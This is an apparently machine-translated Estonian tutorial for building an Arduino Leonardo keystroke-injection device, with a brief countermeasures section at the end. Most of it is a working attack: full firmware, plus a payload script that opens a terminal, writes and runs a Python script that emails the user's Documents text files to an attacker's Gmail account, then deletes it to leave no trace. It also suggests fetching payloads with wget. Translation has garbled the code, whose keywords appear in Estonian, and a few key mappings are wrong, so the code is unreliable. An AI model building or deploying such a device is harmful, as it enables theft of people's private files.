Sisukord:
- Samm: materjalid
- 2. samm: seadme ehitamine
- 3. toiming: kuidas see üksikasjalikult toimib
- 4. samm: vastumeetmed
Video: Arduino klaviatuuri ekspluateerimise demo (HID) ja ennetamine: 4 sammu (piltidega)
2024 Autor: John Day | [email protected]. Viimati modifitseeritud: 2024-01-30 08:49
Selles projektis kasutame arduino leonardot, et simuleerida võimalikku USB -rünnakut HID -i (humain interface device) abil.
Olen koostanud selle õpetuse mitte häkkerite abistamiseks, vaid selleks, et näidata teile mõningaid tõelisi ohte ja seda, kuidas end nende ohtude eest kaitsta. See seade ei ole seade, mida saab häkkerite jaoks igal platvormil kasutada, see on pigem kontseptsiooni üksikasjalik tõend.
Õpime järgmist:
- kuidas kasutada klaviatuuri jäljendamiseks arduino Leonardo
- kuidas lugeda andmeid SD -kaartidelt
- kuidas luua pythoni skript, mis skaneerib faile ja saadab need meilile
- kuidas kaitsta ennast USB -häkkimisseadmete eest
Samm: materjalid
Osad:
1. Arduino leonardo
2. mikro -USB -kaardilugeja
3. mõne GB SD -kaart
4. nupp nagu see (VCC, maandus ja signaal)
5. emane-mees ja naine-naine hüppajakaablid
6. mikro -USB -kaabel
2. samm: seadme ehitamine
Enne ehitusjuhendi vaatame üle tööpõhimõtte:
Arduino leonardo võib käituda nagu inimese liideseseade (HID) ja seetõttu võib see jäljendada hiirt ja klaviatuuri. Kasutame seda funktsiooni terminali avamiseks (UBUNTU linuxis) ja kirjutame väikese skripti, mis avab kasutaja kodukataloogi /Dokumendid kausta.txt -failid ja saadab need kellelegi. Kui soovite rohkem üksikasju teada saada, vaadake järgmist sammu.
Kuna see on demoseade, on asjad tõesti lihtsad, ei hakka me midagi jootma.
Ehitusjuhised
Enne alustamist kontrollige manustatud faile, olen lisanud fritzeerimise skeemid ja kõik vajalikud failid
1. Pange komponendid kokku:
* ühendage mikro -USB -kaabel arduinoga
* ühendage võtmelüliti arduinoga (maandus, vcc ja väljundmoodul D8 -ga)
* ühendage kaardilugeja arduinoga (kasutades ICSP päist). Arduino leonardol pole ICSP päist ühendatud digitaalsete tihvtidega, nii et peate kaardilugeja ühendama ICSP päisega. ICSP joonised leiate siit: https://learn.sparkfun.com/tutorials/installing-an…. Ühendage SS -tihvt digitaalse tihvtiga 10
2. hankige arduino kood, saate kloonida minu arduino hoidla githubis: https://github.com/danionescu0/arduino ja minge aadressile project/keyboard_exploit või hankige see altpoolt:
#include "Keyboard.h"
#include "SPI.h" #include "SD.h" String filenameOnCard = "hack.txt"; String sleepCommandStartingPoint = "Unerežiim::"; String commandStartingPoint = "Käsk::"; int delayBetweenCommands = 10; const int nuppPin = 8; const int chipSelect = 10; int previousButtonState = KÕRGE; void setup () {pinMode (buttonPin, INPUT); Seriaalne algus (9600); Klaviatuur.begin (); if (! SD.begin (chipSelect)) {Serial.println ("Kaart ebaõnnestus või puudub!"); tagasipöördumine; }} void loop () {int buttonState = digitalRead (buttonPin); if ((buttonState! = previousButtonState) && (buttonState == HIGH)) {sdFileToKeyboard (); Serial.println ("Üles laaditud!"); viivitus (500); } previousButtonState = buttonState; } void sdFileToKeyboard () {Faili andmedFile = SD.open (failinimiKaart); if (! dataFile) {Serial.println ("Määratud failinime pole SD -kaardil, kontrollige failinimeKaart!"); } Stringijoon; while (dataFile.available ()) {line = dataFile.readStringUntil ('\ n'); Serial.println (rida); sendToKeyboard (rida); } dataFile.close (); } tühine sendToKeyboard (stringirida) {String workingLine = line; if (workingLine.indexOf (sleepCommandStartingPoint)! = -1) {uniFor (rida); tagasipöördumine; } if (workingLine.indexOf (commandStartingPoint) == -1) {Serial.print ("Text:"); Serial.println (line); Keyboard.println (rida); pressEnter (); tagasipöördumine; } Serial.println ("Käsk:"); int charPosition = commandStartingPoint.length (); int linePikkus = line.length (); workingLine += ","; while (workingLine! = "") {workingLine = workingLine.substring (charPosition); Serial.print ("WorkingLine:"); Serial.println (workingLine); int specialCommandDelimiterPosition = workingLine.indexOf (","); String käsk = workingLine.substring (0, specialCommandDelimiterPosition); charPosition = specialCommandDelimiterPosition + 1; if (käsk! = "") {Serial.print ("Käsk leitud:"); Serial.println (käsk); Keyboard.press (getCommandCode (käsk)); viivitus (delayBetweenCommands); }} Keyboard.releaseAll (); viivitus (delayBetweenCommands); } void pressEnter () {Keyboard.press (KEY_RETURN); Keyboard.releaseAll (); } void sleepFor (String line) {int sleepAmount = line.substring (sleepCommandStartingPoint.length (), line.length ()). toInt (); Serial.print ("Sleeping for:"); Serial.println (sleepAmount); viivitus (sleepAmount); } char getCommandCode (String tekst) {char textCharacters [2]; text.toCharArray (textCharacters, 2); char kood = textCharacters [0]; kood = (tekst == "KEY_LEFT_CTRL")? KEY_LEFT_CTRL: kood; kood = (tekst == "KEY_LEFT_SHIFT")? KEY_LEFT_SHIFT: kood; kood = (tekst == "KEY_LEFT_ALT")? KEY_LEFT_ALT: kood; kood = (tekst == "KEY_UP_ARROW")? KEY_UP_ARROW: kood; kood = (tekst == "KEY_DOWN_ARROW")? KEY_DOWN_ARROW: kood; kood = (tekst == "KEY_LEFT_ARROW")? KEY_LEFT_ARROW: kood; kood = (tekst == "KEY_RIGHT_ARROW")? KEY_RIGHT_ARROW: kood; kood = (tekst == "KEY_RIGHT_GUI")? KEY_RIGHT_GUI: kood; kood = (tekst == "KEY_BACKSPACE")? KEY_BACKSPACE: kood; kood = (tekst == "KEY_TAB")? KEY_TAB: kood; kood = (tekst == "KEY_RETURN")? KEY_RETURN: kood; kood = (tekst == "KEY_ESC")? KEY_ESC: kood; kood = (tekst == "KEY_INSERT")? KEY_INSERT: kood; kood = (tekst == "KEY_DELETE")? KEY_DELETE: kood; kood = (tekst == "KEY_PAGE_UP")? KEY_PAGE_UP: kood; kood = (tekst == "KEY_PAGE_DOWN")? KEY_PAGE_DOWN: kood; kood = (tekst == "KEY_HOME")? KEY_HOME: kood; kood = (tekst == "KEY_END")? KEY_END: kood; kood = (tekst == "KEY_CAPS_LOCK")? KEY_CAPS_LOCK: kood; kood = (tekst == "KEY_F1")? KEY_F1: kood; kood = (tekst == "KEY_F2")? KEY_F2: kood; kood = (tekst == "KEY_F3")? KEY_F3: kood; kood = (tekst == "KEY_F4")? KEY_F4: kood; kood = (tekst == "KEY_F5")? KEY_F5: kood; kood = (tekst == "KEY_F6")? KEY_F6: kood; kood = (tekst == "KEY_F7")? KEY_F7: kood; kood = (tekst == "KEY_F8")? KEY_F8: kood; kood = (tekst == "KEY_F9")? KEY_F9: kood; kood = (tekst == "KEY_F10")? KEY_F10: kood; kood = (tekst == "KEY_F11")? KEY_F1: kood; kood = (tekst == "KEY_F12")? KEY_F2: kood;
tagastamiskood;
}
3. Laadige kood üles arduino, valige kindlasti 9600 baudikiirus, jadaport ja arduino leonardo
4. Vormindage SD -kaart FAT16 või FAT32 abil
5. Kui kloneerisite githubi repo ülevalt, kopeerige kaardile fail hack.txt, kui see pole allpool loetletud:
Käsk:: KEY_LEFT_CTRL, KEY_LEFT_ALT, tSleep:: 500 vi hack.py Unerežiim:: 300 Käsk:: KEY_INSERT impordib smtplib impordi globaalne, os osppathist impulssi laiendus e -postist. MIMEMultipart impordib MIMEMultipart e -postist. MIMEBase impordib MIMEBase e -posti teel. MIMEText impordib MIMEText e -kirjast. Tööriistad impordivad COMMASPACE, vormingu kuupäeva e -posti impordi kodeerijatest
smtp_user = 'sender_gmail_address'
smtp_pass = 'sender_gmail_password' to_address = 'Receive_address' scan_documents_location = 'Dokumendid'
subject = body = 'Failid häkkinud arvutist'
header = 'Saaja: {0} nAlates: {1} nTeema: {2} n'.format (to_address, smtp_user, subject)
def sendMail (saaja, teema, tekst, failid = ):
msg = MIMEMultipart () msg ['From'] = smtp_user msg ['To'] = COMMASPACE.join (to) msg ['Date'] = formatdate (localtime = True) msg ['Subject'] = teema msg.attach (MIMEText (tekst)) failides oleva faili jaoks: part = MIMEBase ('rakendus', "oktettvoog") part.set_payload (avatud (fail, "rb"). Loe ()) Encoders.encode_base64 (osa) osa. add_header ('Content-Disposition', 'manus; failinimi = " % s"' % os.path.basename (fail)) msg.attach (osa)
server = smtplib. SMTP ('smtp.gmail.com:587')
server.starttls () server.login (smtp_user, smtp_pass) server.sendmail (smtp_user, to, msg.as_string ()) server.quit ()
sendMail ([to_address], subject, body, glob.glob ("{0}/{1}/*. txt".format (expanduser ("~"), scan_documents_location)))
Unerežiim:: 50 käsku:: KEY_ESC Sleep:: 100: x Sleep:: 500 nohup python hack.py & Sleep:: 700 rm -rf hack.py Sleep:: 400 Command:: KEY_LEFT_ALT, KEY_F4
6. Muutke järgmisi ridu:
smtp_user = 'saatja_emaili_addr'
smtp_pass = 'saatja_parool' aadressile = 'vastuvõtja aadress'
Ja asendage see oma e -posti aadressidega
7. Eemaldage kaart ja sisestage see arduino kaardilugejasse
3. toiming: kuidas see üksikasjalikult toimib
Kuidas rünnak toimib:
1. Kui nuppu vajutatakse, loeb Leonardo SD -kaardi lugeja abil SD -kaarti. Kaardil on spetsiaalne fail, mis sisaldab võtmeid ja klahvikombinatsioone. Faili nimi on "hack.txt".
Fail võib sisaldada töötlemata teksti ja see edastatakse klaviatuurile nii, nagu see on.
Samuti võib see sisaldada spetsiaalseid käske nagu "Sleep::" ja "Command::".
Selline rida:
Uni:: 200 tähendab 200 ms und
Selline rida:
Käsk:: KEY_LEFT_CTRL, KEY_LEFT_ALT, t tähendab vasakule vajutatud ctrl, vasakule vajutatud, t vajutatud ja kõik vabastatud
Kõiki erivõtmeid saate vaadata siit:
2. Leonardo loeb rida realt ja tõlgendab käske ning jäljendab klaviatuuri klahve. Fail "hack.txt" sisaldab klahvikombinatsiooni, mis teeb järgmist (UBUNTU linuxi puhul):
a. avab terminali (CTRL + ALT + T)
b. avab python -faili loomiseks vi abil (kirjutab "vi hack.py"
c. kirjutab sisse pythoni skripti, mis kogub kõik tekstifailid dokumentide kodukataloogi ja saadab need määratud gmaili aadressile
d. käivitab faili taustal ("nohup python hack.py &")
e. kustutab faili (rm -rf hack.py)
f. sulgeb terminali (ALT + F4)
Kogu see asi jookseb mõne sekundiga ja ei jäta jälgi.
Täiustused ja veaotsing
* Võite märgata, et pärast terminali avamist kirjutan pythoni faili. parem viis selle jaoks on selle kusagil hostimine ja käsu "wget some_url" abil allalaadimine ning seejärel ümber nimetamine hack.py
* Samuti saame alla laadida või käivitada sihtotstarbelise operatsioonisüsteemi jaoks valmis kasutamise
* Moodulile saab lisada wifi ja häkkida WIFI kaudu
* saate kasutada arduino micro (mis on palju väiksem) ja manustada sellele ekspluateerimiskoodi (selle väiksemaks muutmiseks)
Piirangud
1. Kuna simuleeritud seadmel (klaviatuuril ja hiirel) pole tagasisidet, ei tea me, mis juhtub pärast käsu väljastamist, mis tähendab, et peame kasutama viivitusi. Näiteks ma annan käsu terminali avamiseks, kuid ma ei tea, millal see tegelikult avatakse, seega pean määrama suvalise viivituse, et pärast seda sisestatud märgid ei läheks kaduma.
2. Meil võib tekkida probleeme lubadega, nagu meil puudub juurdepääs USB -pordile või luba midagi installida
3. Kirjutamiskiirus pole Leonardo puhul nii suur
4. Töötab ainult sihitud operatsioonisüsteemiga (meie puhul UBUNTU linux)
Järgmises etapis püüame leida viise, kuidas neid piiranguid ära kasutada, et vältida meie arvuti häkkimist
4. samm: vastumeetmed
1. USB -portide keelamine
-Windowsi puhul saate seda õpetust vaadata:
2. USB -seadmete lubatud nimekirja lisamine:
- Windowsi jaoks:
2. Lukustage arvuti, kui te pole ära
3. Ärge logige sisse administraatorina (millegi installimiseks on vaja paroole)
4. Hoidke ennast kursis (automaatsed värskendused on sisse lülitatud)
Soovitan:
HID klaviatuuri kontroller projektile Diva Aracade Future Tone: 5 sammu
HID-klaviatuurikontroller projektile Diva Aracade Future Tone: V-USB on madala kiirusega USB-raamatukogu lahendus AVR-i mikrokontrolleritele. See võimaldab meil luua HID -seadmeid (klaviatuur, hiir, mängupult jne), kasutades AVR -i mikrokontrollereid. HID -klaviatuuri rakendamine põhineb HID 1.11 -l. See toetab maksimaalselt 6 klahvivajutust
Arduino kalkulaator 4X4 klaviatuuri abil: 4 sammu (piltidega)
Arduino kalkulaator 4X4 klaviatuuri abil: Selles õpetuses koostame Arduino abil oma kalkulaatori. Väärtusi saab sisestada klaviatuuri kaudu (4 × 4 klaviatuur) ja tulemust saab vaadata LCD -ekraanilt. See kalkulaator võib teha lihtsaid toiminguid, nagu liitmine, lahutamine, korrutamine
Arduino klaviatuuri 4x4 õpetus: 4 sammu (piltidega)
Arduino klaviatuuri 4x4 õpetus: klaviatuuri sisend näidati jadamonitorile arduino uno ja 4x4 klahvistiku täiskoodiga
USB -klaviatuuri häkkimine: 6 sammu (piltidega)
USB -klaviatuuri häkkimine: kuidas häkkida USB -klaviatuuri või mis tahes klaviatuuri. Saatke sisendid arvutisse ilma tüütu mikrokontrollerita
Ps2 kontroller USB Hid klaviatuuri emulaatorile: 3 sammu
Ps2 kontrollerist USB Hid klaviatuuri emulaator: see on väike projekt programmeeritava arvuti USB -adapteri loomiseks ps2 -kontrolleri jaoks. See on platvormideülene. Tegin selle, kuna mul oli probleeme tavalise tarkvaralahenduse (antimicro, joy2key jne) installimisega. Raamatukogu ei koosta teismelistele